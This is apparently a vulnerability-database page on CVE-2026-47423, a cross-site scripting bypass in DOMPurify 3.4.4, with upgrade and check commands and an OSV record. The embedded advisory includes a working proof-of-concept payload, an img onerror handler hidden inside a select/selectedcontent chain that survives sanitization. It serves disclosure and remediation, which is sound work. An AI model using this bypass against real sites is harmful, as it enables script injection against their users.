CVE-2026-47423: Dompurify Cross-Site Scripting Vulnerability
HIGHCVE-2026-47423 is a HIGH (CVSS 8.2) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Dompurify libraries in the npm ecosystem. The issue involves dompurify xss via selectedcontent re-clone. Remediation is available by upgrading affected packages to version 3.4.5.
CVE-2026-47423 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).
How to Fix CVE-2026-47423
To remediate this vulnerability, upgrade all affected Dompurify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install dompurify@3.4.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dompurify
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-47423, inspect your project dependencies using npm:
npm ls dompurify
Analyze the terminal output to locate any version of Dompurify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.4.5), your application is affected.
Note: The npm ls dompurify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Dompurify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-47423 Affected Dompurify Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dompurify
|
npm |
≥ 3.4.4
< 3.4.5
All 1 versions
3.4.4
|
3.4.5
|
References
Frequently Asked Questions
What is CVE-2026-47423?
Which Dompurify versions are affected?
What version fixes CVE-2026-47423?
Is dompurify affected?
What is the CVSS score of CVE-2026-47423?
What CWE is associated with CVE-2026-47423?
How can I check npm dependencies for CVE-2026-47423?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-87xg-pxx2-7hvx",
"modified" : "2026-06-01T14:07:29Z",
"published" : "2026-06-01T14:07:29Z",
"aliases" : [ "CVE-2026-47423" ],
"summary" : "DOMPurify XSS via selectedcontent re-clone",
"details" : "### Summary\nDOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers \"re-clone\" an XSS payload after sanitization, effectively bypassing DOMPurify. \n\n### Details\nThe chain is as follows:\n1. The browser parses the input and creates a `<selectedcontent>` clone from the selected `<option>`\n2. DOMPurify walks and sanitizes that generated clone.\n3. DOMPurify reaches the original `<option>` and removes `selected=javascript:1`\n4. The browser refreshes the `<selectedcontent>` clone from the original `option`'s content.\n5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize\n6. The returned string contains unsanitized markup inside `<selectedcontent>`.\n\n### PoC\n```js\nconst dirty =\n '<select><button><selectedcontent></selectedcontent></button>' +\n '<option selected=javascript:1>' +\n '<img src=x onerror=alert(1)>x' +\n '</option></select>';\n\nconst clean = DOMPurify.sanitize(dirty);\nconsole.log(clean);\n\ndocument.body.innerHTML = clean;\n```\n\nObserved \"sanitized\" output in Chromium 148/WebKit 625:\n```html\n<select><button><selectedcontent><img src=\"x\" onerror=\"alert(1)\">x</selectedcontent></button><option><img src=\"x\">x</option></select>\n```\n\nAfter reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired:\n```html\n<select><button><selectedcontent><img src=\"x\">x</selectedcontent></button><option><img src=\"x\">x</option></select>\n```\n\nReproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`.\n\n### Impact\nThis is a default-configuration DOMPurify sanitizer bypass resulting in XSS.\n\nApplications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dompurify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.4.4"
}, {
"fixed" : "3.4.5"
} ]
} ],
"versions" : [ "3.4.4" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/cure53/DOMPurify"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-01T14:07:29Z",
"nvd_published_at" : null
}
}